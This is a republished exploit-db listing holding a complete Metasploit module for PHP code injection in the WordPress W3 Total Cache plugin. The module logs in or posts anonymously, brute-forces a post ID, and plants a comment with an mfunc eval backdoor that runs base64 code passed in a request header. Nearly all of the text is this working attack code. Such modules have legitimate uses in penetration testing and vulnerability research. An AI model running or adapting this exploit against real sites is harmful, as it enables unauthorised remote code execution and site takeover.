WordPress Plugin W3 Total Cache – PHP Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-05-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/25137/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
    'Description'=> %q{
    This module exploits a PHP Code Injection vulnerability against WordPress plugin
    W3 Total Cache for versions up to and including 0.9.2.8.WP Super Cache 1.2 or older
    is also reported as vulnerable.The vulnerability is due to the handling of certain
    macros such as mfunc, which allows arbitrary PHP code injection.A valid post ID is
    needed in order to add the malicious comment.If the POSTID option isn't specified,
    then the module will automatically bruteforce one.Also, if anonymous comments
    aren't allowed, then a valid username and password must be provided.In addition,
    the "A comment is held for moderation" option on WordPress must be unchecked for
    successful exploitation.This module has been tested against WordPress 3.5 and
    W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
    },
    'Author'=>
    [
    'Unknown', # Vulnerability discovery
    'juan vazquez', # Metasploit module
    'hdm', # Metasploit module
    'Christian Mehlmauer' # Metasploit module
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    [ 'OSVDB', '92652' ],
    [ 'BID', '59316' ],
    [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
    [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
    ],
    'Privileged' => false,
    'Platform' => ['php'],
    'Arch' => ARCH_PHP,
    'Payload'=>
    {
    'DisableNops' => true,
    },
    'Targets'=> [ ['Wordpress 3.5', {}] ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Apr 17 2013'
    ))
    
    register_options(
    [
    OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
    OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
    OptString.new('USERNAME', [ false,"The user to authenticate as (anonymous if username not provided)"]),
    OptString.new('PASSWORD', [ false,"The password to authenticate with (anonymous if password not provided)" ])
    ], self.class)
    end
    
    def peer
    return "#{rhost}:#{rport}"
    end
    
    def require_auth?
    @user = datastore['USERNAME']
    @password = datastore['PASSWORD']
    
    if @user and @password and not @user.empty? and not @password.empty?
    return true
    else
    return false
    end
    end
    
    def get_session_cookie(header)
    header.split(";").each { |cookie|
    cookie.split(" ").each { |word|
    if word =~ /(.*logged_in.*)=(.*)/
    return $1, $2
    end
    }
    }
    return nil, nil
    end
    
    def login
    res = send_request_cgi(
    {
    'uri' => normalize_uri(target_uri.path, "wp-login.php"),
    'method' => 'POST',
    'vars_post' => {
    'log' => @user,
    'pwd' => @password
    }
    })
    
    if res and res.code == 302 and res.headers['Set-Cookie']
    return get_session_cookie(res.headers['Set-Cookie'])
    else
    return nil, nil
    end
    
    end
    
    def check_post_id(uri)
    options = {
    'method' => 'GET',
    'uri'=> uri
    }
    options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
    res = send_request_cgi(options)
    if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
    return true
    elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
    location = URI(res.headers["Location"])
    uri = location.path
    uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
    return check_post_id(uri)
    end
    return false
    end
    
    def find_post_id
    (1..1000).each{|id|
    vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
    res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
    return id if res
    }
    return nil
    end
    
    def post_comment
    php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
    
    vars_post = {
    'comment' => php_payload,
    'submit' => 'Post+Comment',
    'comment_post_ID' => "#{@post_id}",
    'comment_parent' => "0"
    }
    vars_post.merge!({
    'author' => rand_text_alpha(8),
    'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
    'url' => rand_text_alpha(8),
    }) unless @auth
    
    options = {
    'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
    'method' => 'POST'
    }
    options.merge!({'vars_post' => vars_post})
    options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
    
    res = send_request_cgi(options)
    if res and res.code == 302
    location = URI(res.headers["Location"])
    uri = location.path
    uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
    return uri
    else
    return nil
    end
    end
    
    def exploit
    
    @auth = require_auth?
    
    if @auth
    print_status("#{peer} - Trying to login...")
    @cookie_name, @cookie_value = login
    if @cookie_name.nil? or @cookie_value.nil?
    fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
    end
    else
    print_status("#{peer} - Trying unauthenticated exploitation...")
    end
    
    if datastore['POSTID'] and datastore['POSTID'] != 0
    @post_id = datastore['POSTID']
    print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
    else
    print_status("#{peer} - Trying to brute force a valid POST ID...")
    @post_id = find_post_id
    if @post_id.nil?
    fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
    else
    print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
    end
    end
    
    random_test = rand_text_alpha(64)
    @sum = Rex::Text.sha1(random_test)
    
    print_status("#{peer} - Injecting the PHP Code in a comment...")
    post_uri = post_comment
    if post_uri.nil?
    fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
    end
    
    print_status("#{peer} - Executing the payload...")
    options = {
    'method' => 'GET',
    'uri'=> post_uri,
    'headers' => {
    'Cmd' => Rex::Text.encode_base64(payload.encoded),
    'Sum' => random_test
    }
    }
    options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
    res = send_request_cgi(options)
    if res and res.code == 301
    fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
    end
    end
    
    def check
    res = send_request_cgi ({
    'uri' => normalize_uri(target_uri.path),
    'method' => 'GET'
    })
    
    if res.nil?
    return Exploit::CheckCode::Unknown
    end
    
    if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
    version = $1
    if version <= "0.9.2.8"
    return Exploit::CheckCode::Vulnerable
    else
    return Exploit::CheckCode::Safe
    end
    end
    
    if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
    return Exploit::CheckCode::Detected
    end
    
    return Exploit::CheckCode::Unknown
    
    end
    end